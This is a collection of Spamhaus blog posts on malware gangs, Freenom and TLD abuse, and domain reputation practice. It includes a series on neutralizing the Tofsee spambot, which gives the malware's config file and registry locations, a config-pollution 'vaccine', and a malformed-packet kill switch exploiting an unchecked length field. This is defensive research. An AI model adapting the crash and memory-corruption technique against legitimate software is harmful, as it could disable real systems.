I don’t want to use Spamhaus Technology's free DQS? Use DNS resolvers with attributable DNS to continue being protected by Spamhaus’s IP and domain reputation. If you no longer wish for your mail stream to be protected for free by Spamhaus’ blocklists, remove all associated configurations from your email infrastructure. Further details Additional information for free DNSBLs users having issues due to error codes is detailed here. Previous communications that sent in relation to these changes can be found here: Spamhaus DNSBL return codes: technical update Using our public mirrors? Check your return codes now. Any questions? Not a problem – reach out to us via Twitter @spamhaus and we'll get back to you with a response.

Lifting the lid on a long-time operating Brazilian malware gang

The Spamhaus Team — Sat, 06 May 2023 06:40:20 GMT

For over eight years, our researchers have been tracking an operation that targets Brazilian internet users, stealing their banking credentials, making unauthorized transactions, and withdrawing funds from its victim’s accounts to its own. Here’s a potted history. White-hat ISP turned malicious? Back in 2015, while Mark Zuckerberg was busy announcing that Facebook had passed a billion users, an IBM company, SoftLayer, was experiencing huge increases in Spamhaus listings. SoftLayer was known to be a responsible internet service provider (ISP). However, towards the end of the year in question, they had reached the dizzying (and depressing) heights of being #1 on Spamhaus’ Top 10 List for most abused ISPs. Let’s quantify “huge increases”; these were the days when responsible ISPs would hover between 20-200 listings at most; anything over this would point to you being an irresponsible network. From the chart below, you’ll see SoftLayer’s listings were breaking 12,000 at their peak. At the time, this struck our researchers as unusual. What was going on at SoftLayer? Why had this white-hat ISP suddenly turned rogue? Uncovering the underbelly of a focused malware gang Spamhaus researchers investigated, and it became evident that this proliferation of listings was the result of the following activity: SoftLayer IPs were being used to send malspam (lots of it). The emails used in these spam campaigns had been harvested from users across the globe, but… The targets of these campaigns were specifically Brazilian users. The campaigns tricked the Brazilian victims into downloading and installing malware. No sooner had our researchers established the names of the companies assigned to these abused IP address ranges than they would reappear in use by a different company. Except it wasn’t a different company. It was the same people sending the same malware. This occurred daily. Sometimes, these fake but plausible Brazilian company names would change several times daily! SoftLayer quickly responded to Spamhaus’ abuse reports, but as soon as the ISP had remediated the reported IP addresses, they were rapidly re-assigned to the same malicious operator. The situation was quickly escalating into a frantic game of whack-a-mole. The red circle in the above chart indicates the point that SoftLayer initially thought they had gotten a handle on the situation, with listings starting to decline, before once again rising. At this point, Spamhaus decided to stop removing listings until SoftLayer took action to ensure this wasn’t going to continue. And that action was? Blocking port 25. For years, Spamhaus has recommended that ISPs disable port 25 on routers and firewalls. This doesn’t prevent mail software from working normally; however, it does prevent abusive connections from leaving an ISPs network. Read more in this FAQ. Only a few years ago, Spamhaus worked with Amazon, who were struggling with abuse on their network, and resolved the issue by blocking port 25. Once SoftLayer took this action, its listings fell off a cliff, as the above chart illustrates! As to why this ISP suddenly became this operation’s place of choice to host its malspam operations, we can’t be 100% certain. Nevertheless, we strongly suspect that it came down to a relaxation in vetting procedures (the reason in most cases of fraudulent registrations). Perhaps SoftLayer was trying to grow rapidly in the Brazilian market. Alls well that ends well? Sadly, no. While SoftLayer has not experienced another crisis with listings, the operation in question is alive and kicking and continuing to target Brazilian users. While their activity ebbs and flows, which is often the case with bad actors, their modus operandi has remained constant, using banking trojans alongside phishing tactics to target Brazilian banks. Ways of working Usually, this operation sends from dedicated IPs using dedicated, throwaway domains for hostnames. More recently, we’ve seen a handful of campaigns using hostnames in dynamic DNS resources; take DynDNS, for example. This malware operation is prudent in ensuring the reverse DNS (rDNS) matches the hostname it uses for the sending. In the case of the DynDNS resources, the direct DNS resolution for the hostname itself lasts only for the duration of the sending campaign: once the sending is over, the hostname also ceases to exist. This makes it more difficult to identify resources before the sending commences, making the defense against these operators purely reactive. The human impact This malware gang (on the whole) expertly creates content that appears legitimate in the form of invoices, fines, and even court documents – intentionally targeting communications that would trigger worry, provoking victims to open the content. These tactics make it exceptionally difficult for anyone who isn’t a cyber expert to distinguish between the real things. Meanwhile, the financial impact of a banking trojan can be ruinous for the victim. In the worst-case scenario, cybercriminals can gain full access to the victim’s bank accounts and money. For most banks in Europe and the US, if you fall victim to a trojan, you are responsible, and the bank will not support you. Sadly, the operations of this malware outfit are showing no signs of abating.

Spamhaus welcomes ICANN INFERMAL study

The Spamhaus Team — Fri, 05 May 2023 18:18:27 GMT

As supporters of any initiative driven to make the internet a safer place, we were delighted when ICANN recently announced funding for the INFERMAL research project into domain cyberattacks. Discover what exactly the INFERMAL project is and what they’re hoping achieve.### INFERMAL: Advancing domain cybersecurity On April 25th ICANN, the multi-stakeholder group that coordinates – amongst other things – the gTLD domain space, announced that they are funding the Inferential Analysis of Maliciously Registered Domains (INFERMAL) research project. The project aims to systematically analyze the preferences of cyberattackers when registering domain names for malicious use. Using the research, they intend to distil possible measures to mitigate malicious activities across top-level domains. Spamhaus supports a safe namespace At Spamhaus we welcome any efforts to create a cleaner and safer namespace. Over our many years working in domain name and DNS reputation, we’ve seen time and time again that readily available access to domain names is a big enabler for the many forms of online (and sometimes offline) crime. We also observe certain TLDs and registrars consistently housing larger numbers of malicious domains than others. It’s exactly these types of issues the INFERMAL project will investigate. Cheap domains drive cybercrime We know there is a strong correlation with price per domain: if the activity you do causes your domain names to be blocked or taken down, you can only continue if you get new domain names. Hence, a lower price easily enables criminals to buy more domains for the same amount of money, in turn driving the volume of the abuse. Furthermore, we also see registry-registrar specific promotions, where certain TLDs are only cheap at specific registrars. Yet, it isn’t only cheap domains that are the problem. Free tools for fraudulent domains There are tools that make bulk registration easier, free DNS hosting and payment methods that make it harder to deploy strong Know-Your-Customer procedures. Possibly the most brazen example of this was used at the now defunct registrar Alpnames: they offered free tools to generate random domain names in bulk, in case the registrant didn’t have any names in mind. Who is heading up the project? The INFERMAL project will be coordinated by Dr. Maciej Korczyński from the Grenoble Institute of Technology in France, who has a strong established background in DNS and domain names research, focusing on the role they play in cybersecurity. We’re hopeful for good results and insight coming from this project, especially as it aims to consider features that are traditionally hard to measure. We’ll be following ICANN and the INFERMAL research project with a keen eye to see how their research develops. Read the, ‘Quarterly Spamhaus Domain Reputation Update’, for latest insight into the domain abuse Spamhaus researchers are observing and trends with newly observed domains.

Troubles in Tokelau, malfeasance in Mali... what's happening with Freenom?

The Spamhaus Team — Mon, 24 Apr 2023 09:03:59 GMT

For many years the Freenom operated TLDs have been a mainstay in virtually every statistic created around internet abuse-related domain registrations, whether they cover spam, phishing or malware. In the first quarter of 2023 we noticed a sharp decline in new registrations in their TLDs – good and bad. So, what is happening? From ccTLD to gTLD Freenom operates five country-code top level domains (ccTLDs): .cf (Central African Republic), .ga (Gabon), .gq (Equatorial Guinea), .ml (Mali) and the most well-known one: .tk (Tokelau). While all these are owned by the countries they represent, the policies and operational aspects implemented by Freenom effectively turn them into general top level domains (gTLDs). Consequently, anyone can register any name, without having any special ties to the countries the TLDs are assigned to. Yet, what truly sets these TLDs apart from any others, are their registration fees: for most domain names in these TLDs, registration is free. Top 10 isn’t always good As with any free service on the internet, this price point attracts abuse. Time and again, free services attract all sorts of abuse, ranging from drive-by blackhat SEO to the Internet equivalent of serious organized crime. This is especially the case where the free resource is not properly managed with “abuse” in mind. Ever since Spamhaus have published statistics around which TLDs get the most abuse related registrations, Freenom-operated TLDs have been a consistent Top 10 entry. It’s not just us. Going back as far as 2006, reports from the Anti Phishing Working Group, Interisle Consulting Group, and McAfee have pointed out the large number of abuse-related domain registrations in Freenom TLDs. It is therefore safe to say that Freenom did not have a good grip on the abuse levels of their TLDs. The polluter pays In Europe, a simple but powerful idea lies at the heart of environmental laws: “the polluter pays”. This principle is based on common sense: the polluter — the actors or the activity causing the pollution — should pay to right their wrong. This concept is near and dear to Spamhaus, as for over 20 years we have empowered recipients of ‘internet pollution’ by providing the necessary data to clean it up. By allowing accurate blocking of bad internet identifiers such as IP addresses and domain names, we have shifted a significant part of the cleanup costs back to those who own the abusive resources. Whilst many other TLDs (and registrars) invest resources into the prevention and management of abuse, Freenom, produced an automated anti-abuse tooling, shifting their costs of the clean-up to the recipient. Accordingly, it would appear the consistent pollution of the internet namespace by Freenom-operated TLDs has come back to haunt them. Meta, be ready for this As of early 2023, Freenom stopped new registrations in any of their free TLDs. While their website cites “technical issues”, we expect there could be a different explanation. Namely, a lawsuit filed on behalf of Meta Platforms (Facebook, Whatsapp, Instagram) naming Freenom and a number of associated companies as defendants. The lawsuit alleges cybersquatting, trademark infringement, false designation of origin and violations of the California Anti-Phishing Act. The amended filing contains many example domain names that immediately stand out as being problematic. They contain the names of Meta’s products, sometimes in obfuscated form, along with contexts, words and actions regularly found in phishing domain names. All matching an all-too-common pattern that we have seen many times in Freenom operated TLDs. As is often the case with lawsuits like this, it’s not just about stopping the problem. In spirit with the earlier mentioned principle of ‘the polluter pays’, Meta’s lawyers have put a price tag on dealing with the cleanup. For example, for phishing domains “… Plaintiffs are entitled to recover the greater of their actual damages or five hundred thousand dollars ($500,000) per each phishing website …“. While this is a plea to the court and certainly not an awarded amount of money (yet!), it certainly draws a line in the sand. Free-no-more With this in mind, we are not at all surprised about the current suspension of registrations at Freenom. Given their track record, it would be hard to imagine opening registrations again anytime soon, while also being equipped to deal with the inevitable abuse of free registrations. Not to mention their business model and operational policies would need to drastically change. Looking ahead, it will be interesting to see how this unfolds. It would be naïve to believe the abuse thriving on free domains from Freenom will now stop. In reality, abuse-related TLD registrations will be redirected to paid domains, resulting in more miscreants operating across domains in the low-end pricing bracket, causing them slightly higher costs. This is something registries are already experiencing, as explained in Domain Registries – are you experiencing the Freenom effect, and highlighted by the data in our most recent Domain Reputation Report. Believe it or not, this could be a positive outcome for the internet. Many cybercrimes that require a domain name to function will have an increase in costs, and profitability will decline. The result….a less polluted internet namespace, a concept we certainly get behind. Read ‘Domain Registrars – are you experiencing the Freenom effect?‘ and access the ‘Q1 2023 Domain Reputation Update’.

Domain registries - are you experiencing the Freenom Effect?

The Spamhaus Team — Sat, 15 Apr 2023 08:43:28 GMT

Here we’re exploring the “Freenom effect” on the current top-level domain (TLD) landscape as domain registries at the lower end of pricing within the domain name marketplace feel the effect of Freenom’s current situation.For at least three months, Freenom’s doors have been firmly shut to new domain registrations. You’d expect this to be nothing but good news, given their history, as highlighted in a number of our reports. But what if you’re operating in this competitive market? It will come as no surprise to learn that domain registries are reaching out to our domain experts to understand recent negative rankings better. Coincidence? We think not. Domain experts observe an unprecedented change Our domain experts have never seen a change as dramatic as that of the TLD landscape over the first quarter of 2023. Yes, there are the expected fluctuations of domain registrations linked to current events, seasonal activities, or short bursts of aggressive promotion typically fuelled by speculators and abusive or highly fraudulent registrations. Yet, for the first time, Spamhaus researchers observed all five Freenom-operated TLDs dramatically decrease in abuse numbers. Domain listings by ccTLD This is an unprecedented change, given these TLDs have been a constant in the statistics Spamhaus reports on, relating specifically to domains associated with spam, phishing, and malware. Why the sudden change? Freenom – when free domains become a problem Located in the Netherlands, Freenom was the world’s first and only free domain registration service. Sounds great if you want to purchase domains, but not from our point of view. Unfortunately, free domains tend to attract the less desirable user and all their associated badness, i.e., abuse. In fact, Freenom services are well known to security experts for providing domain registration services to malware authors, botnet operators, and phishing operations. The problematic top-level domains In particular, are five free country code top-level domains (ccTLDS), .tk (ccTLD of Tokelau), .ml (ccTLD of Mali), .ga (ccTLD of Gabon), .cf (cc TLD of Central African Republic), .gq (cc TLD of Equatorial Guinea). Usually, domain registrants would use such ccTLDs for their applicable country or region. However, these five ccTLDs operated by Freenom, are primarily operated outside of their country, making them more akin to general top-level domains (gTLDs). As highlighted earlier, Freenom’s TLDs have had a poor reputation for a long time across many areas of internet security. Still, the fact that miscreants could endlessly rotate through new names meant that supplies were endless. As a result, these five TLDs have experienced exceptionally high levels of abuse and, subsequently, high volumes of bad domains due to being free. That was until this year when Freenom announced the doors were closed to new registrations. What’s most interesting is why? Technical issues you say… Freenom appears to be experiencing “temporary technical issues”, which have been ongoing since at least January 26th when some forum users reported the problems. Could this be a consequence of Meta’s recent court filing in March against Freenom and another (unrelated) legal case against Freenom, based in the Netherlands? It would be a reasonable assumption. The good news remains, Freenom’s abused domain numbers are decreasing due to the fact new registrations are no longer being accepted. BUT there is a flip side to this good news; assuming Freenom continues with its “technical issues,” a change is being forced upon the operations of those who rely on access to a never-ending supply of free domains to circumvent domain-based blocking. Operators who utilized Freenom’s TLDs will need to find somewhere else for domain registrations or shut down their operations – the latter being a scenario we know is unlikely. The Freenom Effect In Quarter 1 of 2023, there was a noticeable shift in the percentage split between abused ccTLDs and gTLDs, with the latter increasing from 61% to 71%. Meanwhile, over the past week, proactive domain registries have been in contact due to their recent (negative) rankings on the Spamhaus Project website. With no significant change in abuse noted at their end and continued vigorous efforts to suspend abusive domains (if only all registries were so closely focused on abuse), what is the problem? Our analysis reveals almost all the new entries in the gTLD list are or have been, heavily discounted at popular registrars in the first quarter of this year. Once again, proving that low pricing inevitably attracts abusive registrations. Now that Freenom’s never-ending reservoir is gone (or so it seems), the alternatives for actual domains (instead of free hostnames at dynamic DNS providers) are all paid options. Therefore, if you are a registry operating a TLD at the lower end of the pricing scale, you are in a prime position to be targeted by bad actors. For every crime solved another is underway Looking to the future, it’s unlikely that all malicious operators who relied on these domains will disappear. Cybercrime is often profitable, and while free domains will produce the best margins, cheap is almost always a viable alternative. As the latest domain data suggests, those registries that operate TLDs at the lower end of the pricing spectrum are significantly more susceptible to abusive registrations. We strongly advise registries and registrars to review their tools and processes, ensuring increased vigilance against a surge in registrations by bad actors for malware, phishing, spam, and other fraudulent activity. Read ‘Troubles in Tokelau, malfeasance in Mali`… what’s happening with Freenom?‘ and access the ‘Q1 2023 Domain Reputation Update‘.

Domain Reputation Update Q1 2023

The Spamhaus Team — Fri, 14 Apr 2023 12:00:00 GMT

Researchers observed unprecedented change, with a decrease in registration and abuse number for all five Freenom ccTLDs, including a steep decline for .ml (-74%). Yet with this, significant increases for gTLDs .store and .fun. Is this the Freenom effect?

Botnet Threat Update Q1 2023

The Spamhaus Team — Wed, 12 Apr 2023 12:00:00 GMT

Botnet C&C operators continued to escalate in Q1. Spamhaus researchers saw a 23% increase in newly observed botnet C&C servers - with Cobalt Strike and Quakbot ever-present. Get all the latest insights, including the rise in popularity of credential stealer RecordBreaker in this report.

Malware Digest March 2023

The Spamhaus Team — Thu, 06 Apr 2023 12:00:00 GMT

Together, Emotet and Qakbot were responsible for 38% of ALL malware sites shared on URLhaus, Mirai had the biggest growth across the board, and there are officially over 1 million IOCs shared on ThreatFox. Find the report here:

Neutralizing Tofsee Spambot – Part 3 | Network-based kill switch

The Spamhaus Team — Thu, 06 Apr 2023 10:30:44 GMT

Here’s the final post in our three-part series on how to protect against Tofsee malware. This blog post concentrates on using a network kill switch – causing an out-of-bounds read error, leading to Tofsee crashing. Playing catch-up? If you missed the first two posts in this series, they focus on malware vaccines. These are proactive measures helping prevent malware infections by patching vulnerabilities in the system or blocking known attack vectors. Malware vaccines are not dissimilar to medical vaccines that provide the body immunity to a particular disease. The first malware vaccine revealed by our researchers, concentrated on the binary file and the second one centered around the InMemoryConfig store. What is a malware kill switch? A malware kill switch is a feature that some malware authors include in their code that enables them to shut down the malware or prevent it from causing harm under certain circumstances, such as if the malware is spreading too quickly, causing damage to critical systems, or should their operations be tracked or compromised. A good example is the case of the WannaCry ransomware attack in 2017 [https://www.bbc.co.uk/news/technology-41753022]; a researcher discovered a kill switch that the cybercriminal had built into the malware. By registering a specific domain name, the researcher could trigger the kill switch and stop the malware from spreading further. What is a network-based kill switch? In some cases, security researchers or organizations can develop a network-based kill switch for a specific malware threat. This reactive measure allows security experts to remotely disable or shut down malware infections, allowing them to neutralize the threat quickly and effectively if it is detected. While using a network-based malware kill switch can be an effective way to limit the damage caused by malware, it is key to note that it may not be a foolproof solution. Malware can evolve rapidly, and attackers may be able to find ways to work around a kill switch or develop new malware that is not vulnerable to it. Therefore, it is essential to use a variety of security measures, such as anti-malware software, firewalls, and regular security updates, to protect against malware infections. How can a network kill switch be implemented for Tofsee? One way to render Tofsee useless and kill it without access to the remote infected machine is to locate a bug in its binary code and crash the malware. The first part of this process is to get our data parsed by Tofsee, and to do this, we need to follow its protocol specification. Tofsee’s protocol specification Communication is bi-directional and encrypted using a custom algorithm that requires two state keys. These state keys are specific to each SocketConnection in Tofsee and are modified based on each Transmission Control Protocol (TCP) data transfer between the botnet command and control server (C&C) and the infected bot. This is known as rolling key encryption. Encryption Algorithm* Tofsee has a complex way of communicating with a C&C – it sends various structures to “latch” the connection with the C&C server. To keep this blog post as short and sweet as possible, we will only reference the relevant ones required as an attack vector to crash the binary. One is operation number 2 (OP2) the receive resource command. Tofsee packets are encapsulated in a header packet defined below: Encapsulated packet for OP2 Taking advantage of this vulnerability We can exploit this lack of a cross-check, i.e., in the code of the CRC32 hash function, where the length of data is not bound-checked, we can craft a packet with a size greater than the buffer, causing an out-of-bounds read error, leading to a crash. When the CRC32 hash function is called to calculate the hash of the packet’s data, it continues reading and processing data from memory beyond the allocated buffer size, potentially crashing Tofsee. This function is present when an InmemoryConfig Struct is parsed and populated so that the resource received is stored in the memory. No length verification checks* For a 4-byte integer, we have the freedom of corrupting the len variable in the range of 0x00-0xFFFFFFFF. This high-range value in the ResourceStructure packet would look something like this (complete with the manipulated len field): This data is parsed by update\_config\_resource and eventually fed to the CRC32 hash calculation routine. Due to the manipulated value of len, an out-of-bound read exception is created, ultimately resulting in the binary crashing. Final words Both the vaccines discussed in this series and the kill switch are essential tools for protecting computer systems from the ever-evolving threat of the Tofsee malware. While a malware vaccine can help to prevent infections, and a malware kill switch can help to minimize the damage caused by an ongoing attack, as we’ve previously discussed, neither tool is foolproof, and you should always use them in conjunction with other security measures. Happy coding.

Neutralizing Tofsee Spambot - Part 2 | InMemoryConfig store vaccine

The Spamhaus Team — Thu, 06 Apr 2023 10:28:23 GMT

Here’s the second in our three-part series focused on protecting against Tofsee malware. This spambot is prolific, but various vaccines and kill switches are available to defend against Tofsee. Our malware researchers are sharing two vaccines and a network-based kill switch in this series. A recap If you’re wondering what malware vaccines are and how they can be utilized, or you’d like to read about the first vaccine our researchers have shared relating to Tofsee and its binary file, read this blog post. Alternatively, keep reading to learn about a second vaccine our team has produced, focused on polluting Tofsee’s internal configuration store. A deeper dive into Tofsee’s config stores During the runtime of Tofsee and the communications with its command and control (C&C) server, Tofsee stores various configuration values pertinent to the proper runtime of the code in a memory-based structure which we call the InMemoryConfig store. This is a circular linked list structure, and Tofsee defines it as follows: InMemoryConfig store structure* Locations of Tofsee’s configuration storage Each ConfigValue buffer has its internal structure based on the ConfigType value. This chained config is dumped and stored in various locations on the infected system so Tofsee can retrieve it after a reboot. The various configuration storage locations are: File Storage 1 %USERPROFILE%\:.repos (ADS) 2 %USERPROFILE%\Local Settings:.repos 3 %USERPROFILE%\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat.repos 4 %USERPROFILE%\wincookie.repos Registry storage 1: HKEY\_CURRENT\_USER\\Control Panel\\Buses\\Config0 2: HKEY\_CURRENT\_USER\\SOFTWARE\\Microsoft\\Buses\\Config0 A simple Tofsee xor algorithm encodes the data stored in one of these places: * Once retrieved and decoded, this data looks something like this in its raw parsed form: The config stores of particular interest to us are the work\_srv and start\_srv structures. Both are retrieved during the initial C&C connection of the Tofsee botnet. Tofsee’s botnet C&C environment Tofsee has a tier-2 C&C ecosystem. The malware uses the hardcoded C&Cs in the binary only once to retrieve a list of tier-2 peers. These tier-2 piers then act as forwarding C&Cs and are stored in the work\_srv and start\_srv config stores. work\_srv and start\_srv have the following definition in the memory: struct srv { char NumElements; struct \_\_srv { char IP\_C2[0x41]; DWORD Port; }Src[NumElements] }; How can you exploit this for a vaccine? In order to vaccinate Tofsee from connecting to first-tier or second-tier C&Cs, we can pollute these config stores’ values before the start of the infection chain. work\_srv will point to a controlled sinkhole IP. In this example, we’re going to point it to 127.0.0.1. In addition to this, we will recalculate the crc32 of data buffer so that it passes the integrity check inside the binary: Modified value for wrk\_srv ( with proper crc32 hash value) To create a vaccine, the above binary blob has to be encoded using the same algorithm and written back to one of the config store paths file or registry: “Config0” modified registry value for vaccine* When Tofsee makes the connection, it only connects to the local sinkhole. Simple! The final of our Tofsee series looks at a network-based kill switch to protect against this malware.

Understanding top-level domain (TLD) abuse helps illuminate and predict domain threat trends

Bruce Van Nice — Thu, 23 Mar 2023 12:00:29 GMT

The Domain Name System (DNS) is the backbone of the internet, enabling agile communication between internet entities. This blog post will focus on top-level domains (TLD), and how they can impact the security landscape – written by Bruce Van Nice from Akamai‘s Product Marketing Team, responsible for DNS, security services, and data analytics products. What are top-level domains (TLD)? The DNS is hierarchical, easily visualized as an inverted tree starting with leaves extending from a root representing different layers. The layer below the root consists of TLDs, below that are 2nd level domains, and beyond are sub-domains. There were initially 7 generic TLDs (gTLDs), like the familiar “.com”, in the DNS. Starting in 1985 a country, sovereign state, or dependent territory could register a country code TLD (ccTLD). In 2000 seven new gTLDs were added, and in 2005 a process began to enable a new class of gTLDs which could be purchased and operated by a sponsor, often with a commercial interest. There are now more than 300 ccTLDs and 1,200 gTLDs activated in the root zone (current list). TLDs can impact the security landscape Legitimate applications on the internet depend on the DNS to function and malicious actors also depend on it to activate, scale, and manage their exploits. They use the DNS because it connects everything on the internet, from virtually every network and device where an exploit might be activated. They also benefit from tools for managing domain names that enable highly dynamic, scalable, connectivity so they can change their exploits rapidly and avoid detection. Although there are other ways hackers can use the DNS to support malicious activity, one of the main ways is to register domain names under a TLD. If a name can be registered and activated it’s available for use on the internet. With complete control over their names/zone developers can tailor the use of subdomains to suit their needs. Names can be used until malicious activity is detected and validated, and actions are taken to deregister or block them. There are controls over name registrations and most TLD operators have formal contractual obligations with the Internet Corporation for Assigned Names and Numbers (ICANN), the organization who coordinates operation of the DNS, to take steps to deter abusive activity. Most TLD operators also have strong business motivations to minimize registration of malicious names and to be responsive to abuse reports. TLDs who want to attract well-known brands or high-value audiences are incented to maintain their reputation. Although controls exist to prevent malicious name registrations, variations in contractual arrangements and registration policies can create openings for attackers. ccTLDs pre-date ICANN and are largely self-regulated. They define their own registration policies, like whether there’s a requirement that a legal entity be registered in-country. They also establish their own methods and obligations to deal with abusive registrations. For instance, some ccTLDs require information that makes it easier to identify and contact registrants if it becomes necessary, but some do not. New gTLDs under ICANN’s control serve a wide array of interests. Some, like brands .chanel, .ericsson, and .fedex are closed, and only used by their own legal entities. Others such as .travel, .law, and .realtor require registrants to have an affiliation or credentials relevant to the organization, however the formality of the affiliation varies widely. Most gTLDs are open to anyone, although that’s not to suggest they simply accept all registrations. There are other reasons TLD abuse can occur and persist: Hackers invest so their work is not detected, even large, popular, or long-established TLD efforts to prevent malicious registrations can be subverted sometimes. The domain name industry is large and diverse and the motivations of individual players may not always coincide with the rest of the internet ecosystem. Another layer in the domain name ecosystem, registrars, may not fulfill their obligations to properly vet registrants and filter out miscreants. Lack of vigilance policing registrations, like limited verification of the identity of the registrants, is another contributing factor. Batch registrations make it easier to obtain names, use them briefly, and leave a minimal trail, especially if verification is inadequate. Cheap registrations benefit abusers because it reduces their operating costs and potentially allows them to hide abusive names amongst benign names. There can be delays in responding to requests to review andtakedown domains that are flagged as problematic by researchers or the broader community. None of this is to suggest operators of TLDs don’t take measures to prevent malicious registrations – they do. But misaligned incentives, resource constraints, deficient infrastructure or processes, and the sheer skill and determination of adversaries all get in the way. Understanding malicious activity in TLDs is important to security Because malware developers depend on the DNS, query data is extraordinarily useful for security research. Akamai teams use sophisticated algorithms and machine learning to analyze data gathered from resolvers (anonymized to protect user privacy). Part of the workflow measures malicious activity in each TLD to determine the relative scale of abuse. New threats can be identified using these findings, along with other kinds of data. All these insights contribute to metrics that allow domain names to be classified based on how likely they are to be associated with malicious activity, ultimately resulting in validated threat intelligence. It may be tempting to simply block entire TLDs that have high levels of abuse, but it inevitably causes collateral damage because legitimate names are blocked too. A better approach is to take advantage of carefully validated domain-based threat intelligence with constantly updated lists of malicious names. It can be integrated into DNS resolvers, or potentially other infrastructure, to flag and block malicious activity. Perspective Recent findings of malicious activity uncovered in DNS data can be found here: DNS Threat Report – Q3 2022 Insights on DNS in Q2 2022 DNS Traffic Insights Threat Report A paper covering why DNS data is useful for security research, with explanations of how data can be processed to reveal malicious activity is here. TLD abuse findings have been publicized at industry events like this one hosted by ICANN. Summary The DNS is vital to the proper functioning of legitimate internet applications and services, but because it’s so powerful and easy to use, malicious actors also depend on it. This makes DNS data a rich source of security insights. TLDs are an attractive entry point for attackers and understanding TLD abuse helps illuminate broader security trends. Wholesale blocking of TLDs with high rates of abuse can be problematic, taking advantage of validated domain-based threat intelligence can improve security posture, and minimize disruption associated with blocking legitimate traffic.

Best practice for owners of a newly registered domain: PART 3

The Spamhaus Team — Sat, 11 Mar 2023 17:03:57 GMT

So, you’ve purchased your new domain, ensured it’s appropriately secured, and set up hosting in a good neighborhood. The following will help you nurture your domain and successfully build its reputation to ensure it’s an asset for the long term, not just the next 10 minutes. Beware – with a new domain comes distrust When a security expert observes a domain for the first time on the internet, they will assign it with “no reputation” or “low reputation” because reputation is based on history. Generally, for the first 30 days after initial registration, most companies specializing in threat intelligence will flag a newly registered domain. The flag indicates the domain is under heightened scrutiny and is being watched for malicious activities, which include immediately sending mass emails. Cybercriminals purchase hundreds, if not thousands, of domains in bulk to “burn” them. As soon as a data reputation specialist flags the domain as being malicious, the miscreants dispose of that flagged domain and use another one. In contrast, an old domain that has been with the same owner for some time is a solid identifier for security specialists that someone has invested in this domain – it’s been cared for. Even at its most basic level, the domain owner has paid for its renewal annually. After all, even free domains have a cost associated with them after their first year. Nurture your domain to get it established… because…. With distrust comes limited use The lack of any reputation associated with a domain will affect what you can immediately do with your new domain, including the ability for bulk email to be successfully delivered. Al Iverson discovered this as explained in Pro-tip: Age that new domain. Additionally, having no associated reputation may prevent someone from reaching your website because their DNS provider is using DNS Firewall. This will block their request to visit your website because there is no reputation attached to your domain and therefore considered a potential risk to visit. 1. Show you’re invested in your domain with DNS TXT validation By adding a verification code to your DNS records, you are demonstrating to the broader internet community that you have control of this domain, i.e., someone is paying money to use this service on the domain, so they have an investment in it. 2. Don’t hide on WHOIS [https://who.is] If a business owns the domain, make sure you don’t have any WHOIS Masking or Private Domain Registration in place. These privacy protection services are usually offered by domain registrars where they will either: Not publish the domain owner’s contact details Publish “masked” details, for example, data that points to anonymous names and addresses. It’s important to remember that GDPR doesn’t apply to businesses, so please, be transparent. If it looks like you’re hiding who owns the domain, it seems suspect. You want people to be able to verify that your company owns your domain, and this builds trust and increases the reputation of your domain. Think about how you’d feel opening your front door to someone with their whole face and eyes obscured. You’d probably feel a little uncomfortable and unlikely to trust that individual. In the same way, don’t hide who you are as a domain owner. Now you own a new domain; you can send emails, right? Er…no. Not so fast. 3. Establish a strong connection between your new domain and your existing brand domain If you have a bonafide requirement for a new domain name in addition to your main one, ensure it can be related back to your brand domain. The more links between your domains, the stronger the relationship is, and your domains’ reputation will be stronger. Here are a few suggestions on how to establish that connection: Use the same hosting structure Link to the new domain name from your existing domain’s webpages For domains used for internationalization, make it easy to understand that the local domain, e.g., Spain belongs to your primary domain. 4. If you’re using your domain for email, set up the correct authentication. The set-up of various authentication and encryption protocols is crucial to establishing good deliverability. Bypass this at your own risk. From DKIM to SPF, this best practice, written by our deliverability experts, has it covered. 5. Warm up your domain slowly when sending bulk email Don’t send a bulk email run with your newly acquired domain name. First impressions matter a great deal and remain for a long time. Plan & select: To prepare for the launch of a new domain, you need to plan the deployment, carefully selecting a set of highly engaged recipients for the initial mailings. These should then be sent thoughtfully and measured until you reach production volume. Continual improvement: This is a crucial period during which every iteration needs to be meticulously studied, adjustments made, and issues corrected – no matter how painful those corrections may be, i.e., how many potential recipients you need to remove from your segmentation. Increasing volume and speed rates should depend on each previous deployment’s results. This means that today’s email marketers should be focusing on engagement. The days of “batch and blast” are over. Still, the good news is that the more engagement an email receives, the better the domain’s reputation and deliverability improves. It is not instant and can be very frustrating, but it is worth it. See our Deliverability 101 eBook for a detailed look at how to ensure emails are delivered successfully. The guidance we’ve provided in this series is by no mean exhaustive, but it provides strong foundations to help you successfully build the reputation of your newly registered domain.

Malware Digest February 2023

The Spamhaus Team — Fri, 03 Mar 2023 12:00:00 GMT

The U.S. experienced a 447% increase in the number of malware distribution sites it was hosting. Meanwhile, a familiar name returned with vengeance; Qakbot, which was associated with the largest number of IOCs.

UPDATE - Informational Listings in the Spamhaus Blocklist

The Spamhaus Team — Fri, 24 Feb 2023 12:16:09 GMT

There’s been a significant amount of feedback (both negative and positive) from the broader industry about the increase in the informational listings in the Spamhaus Blocklist (SBL). You’ve told us that the informational listings create too much “noise” in the SBL; however, the intelligence and early warning are appreciated. So here’s what the Spamhaus Project is going to be doing in the near future… 1. Initial early warning signals These will no longer be placed in the SBL. Instead, this intelligence will be placed in Spamhaus' Intelligence API by Spamhaus Technology. This will be accessible from the Reputation Portal for the IP addresses that are associated with your ASN(s), making the data easier to consume, or via check.spamhaus.org. As always, ignore this reputation signal at your peril. Where IP addresses continue to be associated with the same poor sending behavior, an informational listing will be made in the SBL. 2. Informational Listings in the SBL These will exist, but at a much-reduced volume (unless everyone ignores the intelligence shared via the API). Once you receive one of these, you will know that things are getting increasingly serious, as there is a persistent pattern of bad sending practices. But, at this stage, the IP address in question will not be placed in the zone to be used to filter. 3. SBL Listing Yes, it’s time to worry. If our researchers see that you have ignored the initial signals and the informational listing(s), the sending IP will be listed and placed in the zone that is used to filter. When are these changes happening? In the near future. The exact dates are to be confirmed, but please rest assured that communications will be made via Twitter and LinkedIn. In the meantime, for those of you who want to keep the listings in place, the team won’t be removing them. Please get in touch via the usual channels for those who would like them removed. In the meantime, our researchers are revising their processes to reduce the deluge of informational listings until this signal is available via the API.

Best practice for newly registered domains: PART 2 - Key considerations for purchasing

The Spamhaus Team — Tue, 14 Feb 2023 17:29:16 GMT

